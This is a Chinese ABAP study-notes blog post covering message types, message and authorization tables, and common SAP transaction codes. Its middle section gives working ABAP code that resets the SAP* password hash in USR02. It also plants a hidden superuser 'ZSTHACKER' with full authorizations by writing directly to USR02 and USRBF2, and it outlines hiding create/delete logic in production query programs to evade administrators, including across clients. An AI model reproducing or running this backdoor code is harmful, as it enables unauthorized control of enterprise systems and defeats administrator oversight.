zoukankan      html  css  js  c++  java
  • 学习笔记<一>

    一、第一个程序范例:【SE38】

    REPORT  Y_TEST.
    WRITE 'HELLO 小猫咪,欢迎学习ABAP程式,加油哦^_^ '.

    image

    二、定义消息:【SE91】

    SAP程序消息类型:

    I——信息窗口,W——警告,E——错误,S——成功,A——终止程序或TCODE,X——未知。

    REPORT  Y_TEST MESSAGE-ID ZMM01.
                            MESSAGE I002.

    image

    REPORT  Y_TEST.
    MESSAGE I002(ZMM01) WITH 'Var1' .

    或者写成:MESSAGE ID 'ZMM01' TYPE 'I' NUMBER '002' WITH 'Var1'.

    image

    MESSAGE W002(ZMM01) WITH 'Var1' .

    image

    MESSAGE E002(ZMM01) WITH 'Var1' .

    image

    MESSAGE S002(ZMM01) WITH 'Var1' .

    image

    MESSAGE A002(ZMM01) WITH 'Var1' .

    image

    MESSAGE X002(ZMM01) WITH 'Var1' .

    image

    PROGRAM ZMMR005.
    CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
    EXPORTING
        I_ARBGB = 'ZMMR005'
        I_DTYPE = ''
        I_MSGNR = '002'
    IMPORTING
        E_MSGTY = SY-MSGTY.

    三、消息最常用的table

    T100: SAP能用到的消息都应该在此表中找到.

    T160M :MM模块相关消息表,此表可完全直接维护.就是说只要记住它,MM的消息配置直接使用SE16就可以.

    T100C: FI模块中用户自定义的消息,比如使用OBA5, OFMG等自定义的消息会写入此表,CO配置消息不在此表.

    T100S: 此表保存着允许用户更改的应用区域和消息号,举例假设你删除了KI 005则在OBA5中再不能配置此消息.(对MM模块有些例外,M7不在此表,使用OMCQ依旧可设置,M3不在此表,OMT4依旧可设置)此表也可直接维护.和T160M不同的是,你必须在SE16输入T100S按新建按钮才可维护.查询时只可Display.

    T100U: 哪个用户最后更改了消息,从此表能找到.

    T100W: For Workflow

    常用权限相关Tcode .
    (一)Role(角色)相关T-code:
    PFAC 标准
    PFAC_CHG 改变
    PFAC_DEL 删除
    PFAC_DIS 显示
    PFAC_INS 新建
    PFAC_STR
    PFCG 创建
    ROLE_CMP 比较
    SUPC 批量建立角色profile
    SWUJ 测试
    SU03 检测授权
    SU25, SU26 检查Profile
    (二)建立用户
    SU0
    SU01
    SU01D
    SU01_NAV
    SU05
    SU1
    SU10 批量
    SU12 批量
    SUCOMP:维护用户公司地址
    SU2 change用户参数
    SUIM 用户信息系统,可by 多个查询.
    (三)建立用户组
    SUGR:维护
    SUGRD:显示
    SUGRD_NAV:还是维护
    SUGR_NAV:还是显示
    (四)维护检查授权
    SU20|SU21:如有特殊需要定义自己的authorization fields
    SU50|SU51|SU52
    SU53:当有权限问题可使用它检测
    SU56:分析authoraztion data buffers. SU87:用来检查用户改变产生的history SU96,SU97,SU98,SU99:
    常用权限相关表格:
    TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
    USR12: 用户级authoraztion值
    USR02:密码table
    USR04:Authorization
    USR03:User address data
    USR05:User Master Parameter ID
    USR06:Additional Data per User
    USR07:Object/values of last authorization check that failed
    USR08:Table for user menu entries
    USR09:Entries for user menus (work areas)
    USR10:User master authorization profiles
    USR11:User Master Texts for Profiles (USR10)
    USR12:User master authorization values
    USR13:Short Texts for Authorizations
    USR14:Surchargeable Language Versions per User
    USR15:External User Name
    USR16:Values for Variables for User Authorizations
    USR20:Date of last user master reorganization
    USR21:Assign user name address key
    USR22:Logon data without kernel access
    USR30:Additional Information for User Menu
    USR40:Table for illegal passwords
    USR41:当前用户(SM04看到的所有当前活动用户)
    USRBF2:记录当前用户所有的授权objects
    UST04:User Profile master
    UST10C: Composite profiles
    UST10S: Single profiles
    UST12 : Authorizations

    修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.

    report ZMODPWD.

    tables :usr02 .

    *Data ZUSR02 like USR02 .

    *select single * into zUSR02 from USR02

    *where BNAME = 'SAP*'.

    *ZUSR02-BNAME = 'SAP*'.

    *ZUSR02-Bcode = '9C8AB8600E74D864' .

    *ZUSR02-UFLAG = '0' ."unlock SAP*

    *Update USR02 from ZUSR02 .

    update usr02 set bcode = 'DF52478E6FF90EEB'

    where BNAME = 'SAP*'.

    上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.

    下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

    Program ZCRTUSER.

    Data ZUSR02 like USR02 .

    ***1Create User ZSTHACKER according to DDIC

    select single * into ZUSR02 from USR02

    where BNAME = 'DDIC'.

    ZUSR02-BNAME = 'ZSTHACKER'.

    ZUSR02-Bcode = 'E3B796BB09F7901B' .

    insert USR02 from ZUSR02 .

    ***2Copy Auth. Obj from SAP*(or other)

    data ZUSRBF2 like USRBF2 occurs 0 with header line.

    select * from USRBF2 into table ZUSRBF2

    where BNAME = 'SAP*' .

    Loop at ZUSRBF2.

      ZUSRBF2-BNAME = 'ZSTHACKER' .

      Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

    endloop.

    INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

    如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.

    Data Ztobj like tobj occurs 0 with header line .

    data zusrbf2 like usrbf2.

    select * into table ztobj from tobj .

    loop at ztobj.

      zusrbf2-mandt = sy-mandt.

      zusrbf2-bname = 'ZSTHACKER'.

      zusrbf2-objct = ztobj-objct.

      zusrbf2-auth ='&_SAP_ALL'.

      modify USRBF2 FROM zusrbf2 .

    endloop .

    现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:

    [1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).

    [2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.

    [3]能不能垮client端建立用户和授权呢?

    回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).

    Data zusrbf2 like usrbf2.

    Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .

      Zusrbf2-bname = 'ZSTHACKER' .

      Zusrbf2-mandt = '100'.

      Insert into usrbf2 client specified values zusrbf2.

    Endselect .

    ABAPer 常用Tcode

    Tcode

    描述

    CMOD(SMOD)

    SAP增强

    OSS1

    连接SAP OSS

    S001

    ABAP开发工作台菜单(含多Tcode)

    SA38

    运行程序(SE38开发)

    SCAT

    Computer Aided Test Tool

    SE01

    传递传输请求(同一服务器的不同client)

    SE09

    传输请求操作

    SE10

    同SE09

    SE11

    维护ABAP数据字典

    SE12

    显示数据字典

    SE13|SE14|SE15

    数据字典相关

    SE16|SE17

    查看表数据

    SE30

    ABAP运行分析

    SE32

    ABAP文本元素维护

    SE35

    ABAP/4对话框编程维护

    SE36

    维护逻辑数据库

    SE37

    维护Function module

    SE38

    ABAP 编辑器

    SE39

    程序比较

    SE41

    菜单制作器

    SE43

    应用区菜单(相同功能tcode组成一area menu)

    SE51

    屏幕绘制器

    SE54

    生成表的维护视图,然后SE16|SM30可直接维护表数据

    SE61

    文档维护

    SE63

    翻译

    SE71->SE76

    SAPscript相关 Tcode

    SE80

    ABAP库

    SE81

    ABAP应用层次

    SE84|SE85|SE86

    ABAP/4 Repository Information System

    SE91

    建立消息类和消息

    SE92

    维护系统Log消息

    SE93

    给程序维护Tcode

    SEU

    Repository Object Browser

    SHD0

    维护Tcode运行变式(Variant)

    SM04

    查看当前用户

    SM12

    删除显示Locked objects(不可删除被lock的传输请求)

    SM21

    Dump log查看

    SM30|SM31

    维护table|view数据

    SM32

    维护表

    SM35

    查看Batch input session(建立BDC使用SHDB)

    SM36

    定义后台job

    SM37

    查看后台job

    SM50

    Process Overview

    SM51

    Display system servers, processes, etc.

    SM62

    Display/Maintain events in SAP

    ST05

    SQL等跟踪,使用它可跟踪程序使用的表等.

    SU53

    检查授权对象,如出现权限问题可使用

  • 相关阅读:
    set&enum小结(database)
    bootstrap基础
    看一篇,学一篇,今日份的pandas,你该这么学!No.2
    Python数据分析库之pandas,你该这么学!No.1
    面试Python工程师,这几道编码题有必要背背,Python面试题No8
    周三面试Python开发,这几道Python面试题差点答错,Python面试题No7
    昨天去面试,这5个Python面试题都被考到了,Python面试题No6
    2019年,Python工程师必考的6个面试题,Python面试题No5
    去面试Python工程师,这几个基础问题一定要能回答,Python面试题No4
    学习Python一年,基础忘记了,看看面试题回忆回议,Python面试题No3
  • 原文地址:https://www.cnblogs.com/xiaomaomi/p/2889654.html
Copyright © 2011-2022 走看看